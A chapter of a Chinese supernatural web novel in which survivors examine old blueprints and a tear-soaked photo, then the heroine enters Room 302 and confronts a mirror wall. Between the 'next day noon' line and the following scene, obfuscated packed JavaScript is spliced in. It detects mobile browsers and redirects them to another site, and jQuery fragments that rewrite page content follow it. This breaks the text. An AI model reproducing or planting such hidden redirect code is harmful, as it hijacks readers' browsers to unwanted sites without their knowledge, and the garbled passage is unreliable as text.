周明轩把建筑系档案室的钥匙拍在桌上的时候，没人问他从哪儿弄来的。


    那是规则七生效后的第三天。幸存者聚会的地址已经变更了两次，从食堂后厨到图书馆旧报刊阅览室，再到今天这个连暖气片都冻裂了的废弃档案室。八个人挤在三台报废的图纸柜之间，借着阿Kra那台树莓派服务器发出的微弱蓝光，听周明轩摊开一卷泛黄发脆的建筑蓝图。


    “文科楼竣工于2100年。”他用指尖压住图纸边缘，那里已经被无数次翻阅磨出了毛边，“这是原始设计图。”


    赵青柠凑近。


    蓝图上，302室的标注与其他教室没有任何不同：长方形轮廓，门开在东墙，南北两墙各三扇窗。唯一区别于普通教室的，是讲台方向那条横贯整面西墙的粗黑实线——图例标注：【定制镜墙，高度2.8米，长度6.4米】。


    “心理咨询中心是2102年迁入的。”周明轩翻出第二份文件，纸张更旧，边缘有被水渍浸染过的波浪形褶皱，“这是当年的改造申请。他们拆掉了黑板，保留镜墙，添置了沙发、茶几、绿植。”


    “说是为了帮助学生‘直面自我’。”


    他停顿了一下。


    “申请人是苏芃。校聘心理咨询师。入职日期2101年9月1日。”


    赵青柠看着那个名字。


    二十三年前的墨迹已经褪成锈褐色，但笔画清晰，字迹圆润，收笔处带着某种不急不缓的从容。和她想象中不一样。她以为写下这个名字的人会留下潦草的、急躁的、被某种情绪驱动过的痕迹。可是没有。


    每一笔都落得很稳。


    像相信未来的人写下的字。


    档案夹底层垫着一张活页纸，边缘已经和封皮粘在一起。周明轩用裁纸刀小心地划开，一张五寸彩色照片从夹层滑落。


    赵青柠接住它。


    是一张很普通的证件照。蓝色背景，白色衬衣，二十多岁的年轻女子对着镜头微微笑着。


    她的脸型偏圆，眉眼生得温柔，不是那种锋利的美，是让人愿意把心事讲给她听的那种温和。头发齐肩，发尾向内扣成那个年代流行的弧度，鬓边别着一枚看不出材质的暗色发夹。


    她看着镜头。


    镜头外是二十三年后的一个秋夜，断网第七日，临江大学已成孤岛。


    赵青柠的指尖落在照片边缘。


    ——然后猛地缩回。


    那触感不对。


    不是相纸该有的干燥、光滑、微微滞涩。是黏腻的。像抚摸一块刚被雨水打湿的玻璃，像把手探进清晨结满露珠的草丛。


    她低头看自己的指腹。


    没有水渍。


    没有变色。


    可是那种黏腻感还残留在皮肤上，冰凉，细密，像有无数透明的丝线从照片深处探出，缠绕过她的指尖。


    她再次触碰那张照片。


    这一次她看清了。


    那不是相纸受潮的黏腻。


    那是泪水。


    不是二十年前拍摄时滴落的，不是二十三年间任何一次翻阅时留下的。那些水分至今未干，甚至还在缓慢地、极其缓慢地向外渗透。


    像有人被困在时间的夹缝里，日复一日地俯身凝视自己年轻时的面孔。


    泪水滴落。


    然后被相纸吸收。


    然后继续滴落。


    循环了二十三年的眼泪。


    赵青柠把照片轻轻放回档案夹。


    她没说自己感受到了什么。


    她只是把从清风观带回来的最后一片柏叶从笔记本扉页取出，夹进那张照片和活页纸之间。


    “先借你。”她轻声说。


    “等我找到你，你再还我。”


    凌晨三点。


    八个人挤在档案室唯一的窗前。


    窗外是文科楼背阴的北立面。302室没有窗开向这一侧，他们只能看见那堵沉默了二十三年的灰色外墙，和一扇从未开启过的消防通道门。


    周明轩把所有人的手机收走，只留自己那台平板电脑。屏幕亮度调到最低，八颗头颅围成一圈，像远古部落的萨满围读甲骨。


    “明天白天。”他说，“谁去302？”


    没有人退缩。


    没有人抢着举手。


    苏眠开始从背包里往外掏东西：一卷医用口罩，三双**手套，两瓶75%浓度医用酒精，一把园艺剪，一捆登山绳。


    “我查过消防规范。”她声音很稳，“302室东窗的逃生缓降器是2100年批次，按规每五年检修一次。档案室没有2105年之后的检修记录，可能已经锈死。”


    “但可以试试。”


    阿Kra举起那台改装过的树莓派：“我写了个离线局域网信标。只要有人进入302半径三十米，信标会自动记录时间戳和电磁异常波动。如果那人……”


    他顿了一下。


    “如果那人没出来。至少知道她进去过。”


    高个子男生始终没说话。他只是把左臂袖口挽到肘部，那十几道抓痕已经结痂脱落，新生的皮肤泛着浅淡的粉红色。


    他看着那扇沉默了二十三年的北墙。


    用只有自己能听见的音量说：“这次不会让它再跑了。”


    赵青柠没有参与工具清点。


    她只是把胸前那枚玉佩取出，握在掌心。


    它温润如常。


    可当她的视线落向窗外那堵灰墙时，玉佩深处那道金色流光忽然加快了一瞬。


    像心跳漏了一拍。


    像有人隔着二十三年的黑暗，听见了走廊里渐近的脚步声。


    第二天正午。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195441|194118||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    十二点零七分。


    赵青柠站在文科楼302室门前。


    门还是那扇门。深棕色油漆比记忆中更暗了，不是光照变化，是某种从木材内部向外渗透的潮湿。门把手锈蚀的程度比上次她来时更严重，铜绿已经蔓延到面板边缘。


    她没有尝试敲门。


    她从口袋里取出那枚灰白色的柏叶。


    那是她第一夜塞进门缝、次日清晨变得灰白如纸的那枚。她后来把它从门缝边捡起，夹进书页里，像保留一片枯萎的标本。


    此刻她把这片枯萎的柏叶贴在门板上。


    轻轻推。


    门没有开。


    可是门缝里那道若有若无的镜面反光，亮了。


    赵青柠回头看了周明轩一眼。


    他端着平板电脑站在走廊拐角，屏幕上的电磁异常监测波形开始缓慢爬升。他没有说话，只是点了点头。


    赵青柠把登山绳一端系在自己腰间，另一端抛给他。


    然后她推开那扇二十三年无人开启的门。


    门轴发出极轻极轻的呻吟。


    不是锈蚀的摩擦声。


    是某种更古老、更疲惫的声音。像一个人从漫长的睡眠中缓慢苏醒，骨骼一节一节舒展。


    她走进去。


    然后她看见了那面镜墙。


    它比想象中更大。


    整面西墙，从天花板到踢脚线，从北墙到南墙，没有一处留白。六米四的长度被镜面无限复制，她站在门口的身影被投映成无数个平行的、逐渐缩小的自己，一直延伸到目光无法触及的黑暗深处。


    不是肮脏的、蒙尘的、结满蛛网的旧镜子。


    它一尘不染。


    二十三年无人踏入的房间，镜面上没有一粒灰尘。


    仿佛有人日复一日地擦拭它。


    用指尖。


    用袖口。


    用眼泪。


    赵青柠慢慢走近。


    镜中那个无数个平行的自己也跟着走近，步伐与她完全同步，分毫不差。


    她在讲台前三步处停下。


    镜面倒映着她的脸。


    可是那张脸上的表情，与她此时的表情——


    不一样。


    镜中的她在微笑。


    那笑容很轻，很柔，像对着镜子整理衣领时下意识流露出的满意。嘴角上扬的幅度恰到好处，眼神温和得像午后的日光。


    而赵青柠此刻没有笑。


    她只是静静看着镜中那个比自己快乐很多的自己。


    然后她开口了。


    不是对着镜子。


    是对着镜面深处那个模糊的轮廓。


    “我知道你在这里。”


    “二十三年了。”


    “你累不累？”


    镜面没有回应。


    可那微笑的弧度，不易察觉地加深了一点点。


    像泪痕。


    又像释然。